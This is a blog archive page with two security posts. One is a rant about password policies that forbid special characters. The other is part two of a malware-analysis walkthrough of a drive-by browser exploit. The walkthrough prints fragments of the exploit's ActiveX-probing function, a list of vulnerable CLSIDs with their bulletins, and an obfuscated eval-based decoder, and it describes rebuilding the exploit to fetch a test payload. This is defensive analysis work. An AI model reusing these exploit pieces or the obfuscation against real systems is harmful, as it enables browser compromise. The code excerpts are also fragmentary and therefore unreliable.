Archive for the ‘AppSec’ Category

Your Password Policy Tells Me That You Don’t Understand Security

Monday, March 22nd, 2010

How many times have you tried to create a password and discovered that it was too secure for the site?

“Please enter a password consisting of letters and numbers.” What?! This is 2010; there’s no reason any software out there shouldn’t support quotes, backslashes, exclamation points, or even kanji characters in a password. A site that fails to support at least all the printable characters on a modern keyboard is saying something very, very scary about their backend software: “We don’t know how it will react.” Think about that. The developers are so unsure about the quality of the implementation of this standard, well-trodden area of code that they have to have their customers help to make sure it doesn’t break.

Do you really want to do business with a company that isn’t sure it can handle textual passwords? This problem isn’t limited to podunk websites; bank and brokerage sites are implicated particularly frequently in this.

So, next time this happens to you, don’t just click away or grumble and pick a weaker password; send a message to customer service, tell them it’s a problem, and send this article.

If you are a website affected by this:

First of all, thanks for reading. Whether you’re with PR or Engineering, the fact that you’re actually looking into a complaint puts you head and shoulders above a lot of sites.

Here is the question you should ask internally: “Is this a policy decision or a technical one?

If it’s a policy decision, you might be okay. Some organizations decide that special characters are too much for their users to handle: perhaps they result in too much customer support work doing password resets. If that’s the case, please take the time to look at the numbers, gauge your current customer base, and revisit that decision. The typical computer user has matured a lot in the last 5 years and with this change you can easily upgrade your users’ security (and confidence).

If it’s a technical decision, it’s time to start worrying. The user registration and login process is the most clear-cut example of security related code in any system. That entire code path, from the front end GUI to the back end database should have been thoroughly checked, tested, and made absolutely bulletproof. If there’s any doubt in anyone’s mind that the code on this path doesn’t do exactly what it should, that calls the entire rest of the development process into question. The key issue here is input validation, sanitization, and proper practice in isolating code (how your software makes decisions) from data (what it bases those decisions on). If this is done correctly, then there is no technical reason that special characters (indeed, any characters!) cannot be used in passwords. If it’s not done correctly, then the software is vulnerable to a whole class of potent attacks. Specifics of those attacks have been well covered elsewhere but the takeaway needs to be that this single detail may indicate much deeper problems. Looking hard at this issue now may save a great deal of pain and expense later.

Be aware that it might actually be a technical problem even if it’s also codified in policy. This is the most insidious case. What started as a technical limitation “way back when” got papered over with user documentation, and a well-intentioned inquiry gets nowhere. Make sure you push for an answer. If you’re a non-technical person trying to get a clear answer, ask what happens if international users try to use non-English characters in their username or password (Internationalization and Unicode support raise some of the same issues of character sets and separation of code and data). If it wouldn’t work, you’ve got an opportunity to kill a security bird and an internationalization bird with one stone by addressing this issue

Getting Help:

The Open Web Application Security (OWASP) project is a phenomenal resource for anyone wanting to get serious about security. Check out the OWASP Top 10 for a quick view of the kinds of vulnerabilities that exist in software, and what practices fix them (a short overview video; poor sound, good explanation).

Wall Of Shame:

(This is a starter collection based on polling a few friends, I’m sure there are hundreds more. Leave a comment if you have others, or if any of these have fixed it)

Capital One
Smith Barney
Wells Fargo (toLowerCase()?) (Only special chars are @.-_)
GoGo Inflight Wifi

Malware Analysis Walking Tour (The Exploit)

Thursday, February 25th, 2010

If you’re just tuning in, this is the second post in a series. Check out the beginning of the Malware Analysis Walking Tour to see how we got here.

The Exploit

Everything up to this point has just been a wrapper around the actual exploit; boilerplate or necessary paperwork if you will. Now it’s time to look at what code actually got the machine to do something it wasn’t supposed to do, that is, what caused the SgwAg.exe to get written to disk and ultimately executed.
Again, I start with a topical readthrough to get an idea of what’s significant and the general flow (full decoded exploit routine in Appendix 2). I see that the exploit code consists of a series of function definitions followed by a single statement: a call to mudac().

function    Complete() { [...] }
function    mudac() { [...] }
function    Func4() { [...] }
function    FuncPD() { [...] }
function    FuncKJ() { [...] }

The mudac() function is actually a slightly modified form of one we’ve seen many times before; probably copy and pasted code from some malware forum or a published exploit. The function simply tries to instantiate a list of known-vulnerable CLSIDs (ActiveX controls) and stops at the first one that gives it shell access. If all those fail, it falls through to the creatively named Func4, FuncPD, and FuncKJ to try some Acrobat and Java applet exploits.

function mudac()
     var mdacok = 0;
     var i = 0;
     var objects = new Array(
     ,... [...many more of these...] );
     while (objects[i])
         var a = null;
         if (objects[i].substring(0, 1) == '{')
         a = document.createElement('object');
         a.setAttribute('classid', 'clsid:' + objects[i].substring(1, objects[i].length - 1));
     else {
         try {
             a = new ActiveXObject(objects[i]);
         catch (e) {}

Given the relatively low level of sophistication here combined with the fact that the Malware Scanner VM that got owned is missing a lot of patches, I don’t expect that any of these will be new to us, but panning for gold is always a tedious process. Here Google is our friend. If I plug in a CLSID and it comes back with a lot of pages discussing an exploit then it’s probably nothing new. If all the pages we see are from MSDN or application programming forums, then this is more likely to be something that isn’t widely known as being exploited. The middle ground is that it’s a control that has been exploited before, but there’s some new vector; in practice this doesn’t happen too often. Take it away Google:

BD96C556-65A3-11D0-983A-00C04FC29E36	MS06-014		RDS.DataSpace
AB9BCEDD-EC7E-47E1-9322-D4A210617116	MS06-014	
0006F033-0000-0000-C000-000000000046	MS06-014		Outlook Data Object
6e32070a-766d-4ee6-879c-dc1fa91d2fc3		MS06-014		MUWebControl
6414512B-B978-451D-A0D8-FCFDF33E833C	?			WUWebControl
7F5B7F63-F06F-4331-8A26-339E03C0AE3D 	MS06-014, MS06-073, MS07-016
06723E09-F4C2-43c8-8358-09FCD1DB0766	MS06-014	
639F725F-1B2D-4831-A9FD-874847682010	MS06-014		DExplore.AppObj.8.0
BA018599-1DB3-44f9-83B4-461454C84BF8	MS06-014		VisualStudio.DTE.8.0
D0C07D56-7C69-43F1-B4A0-25F5A11FAB19	Metasploit		Microsoft.DbgClr.DTE.8.0
E8CCCDDF-CA28-496b-B050-6C07C962476B	Metasploit		VsaIDE.DTE

Most of these have all been well analyzed and reported on. The only one that didn’t have a clear story was 6414512B-B978-451D-A0D8-FCFDF33E833C. It’s worth revisiting once we’ve finished analyzing what happens after one of these is instantiated. We still don’t know which control actually owns the machine. The mudac function is a pretty standard example of the drive-by malware approach of “throw a bunch of crap at the browser and see if something works” (You can actually see that the same GUIDS appear multiple times in the objects array; clearly some copy-paste-kitchen-sink coding going on here). We’ll put this issue on the back burner for now; it’s enough to know that one of them worked.

At this point I read CreateO() and Go() to see what the code is doing after it finds an ActiveX control it can instantiate. The first thing I notice is that the name of the exe that gets created (SgwAg.exe) doesn’t show up anywhere. I suspect that the “filename” var in Go() might be randomly generated by the server. Lets see what happens if we get the page again.

$ wgetasie
$ tail -n 5 index.html.1
function vo3vSHVwARAZTn ( dpykxo,AEvKPWK6 ) { var awsTEVuk = new String();var
HHHXupleSC = new String();
 var qIdJvCEMJ = dpykxo.split(';'); for(iKPD3 = 0;iKPD3 < qIdJvCEMJ.length-
 { awsTEVuk = String['f#ro!mC#ha@r^C&ode'.replace(/@|&|#|\^|\!|\(|\)/ig, '')]
(qIdJvCEMJ[iKPD3] - AEvKPWK6);
HHHXupleSC = HHHXupleSC + awsTEVuk;} return HHHXupleSC;}var vnfjqq =
Date();VXR9U = vo3vSHVwARAZTn(Z5E1xxR,NJXUlfyA);
var qIdJvCEMJ = 'awsTEVuk';function krasddk(zxc) {eval(zxc); return;};krasddk(
VXR9U );</script></body></html>

Ah! Lots of different variable names, same structure. Is the Modified Date at least constant?

$ stat index.html.1
 Modify: 2009-12-28 19:23:41.000000000 -0800

Nope. So, it looks like there’s a real script on the other end that’s re-doing the obfuscation on each request. Cheeky bastards. No bother, we can confirm by going back to the original content that the Malware Scanner picked up and verifying that (when decoded) the filename that gets written is indeed the one supplied in Go().

Copying the page from the Scanner report into index.html.from_scanner and stripping any of the HTML/DOM cruft, then changing eval() to print() lets us run the code outside of a browser. The only other change we need to make is to short circuit the lastModified check. Since we know the first character in the resulting plaintext is “f”, it’s easy to work back to the decoding key (in this case it’s 118 – ‘f’ = 16).

$ js index.html.from_scanner | grep "var filename"
 var filename = 'SgwAg.exe';

Good, we’re back on solid ground. So, we know the nature of the obfuscation and the exploit, and have isolated the payload. Next up is payload analysis, but for a number of reasons we like to have samples of each exploit vector that we find in the wild.

So, I cook up a version of this exploit that downloads a demo payload; I like calc.exe. It’s a simple matter of finding the part of the obfuscated script element that corresponds to the evil payload url and replacing it with the url of something more benign. While I’m at it, I add an alert() to print which ActiveX control actually causes the payload to be downloaded and run (remember that it tries several) and also remove the couple of other Java and Acrobat exploits.

 = h     t     t    p     :     / / n       e   v                       (I used a real url of course)
 h    t     t    p     :     / / e       x   a

Copy it over to the test server, fire up an unpatched IE and…Bingo.

This would be enough to call it a day if we were only interested in the exploit vector; it’s a well known exploit vector and now we’ve got a nice sample in case we ever need to reproduce it. However, we could still take a look at the payload it brought down.

Next Time: The Payload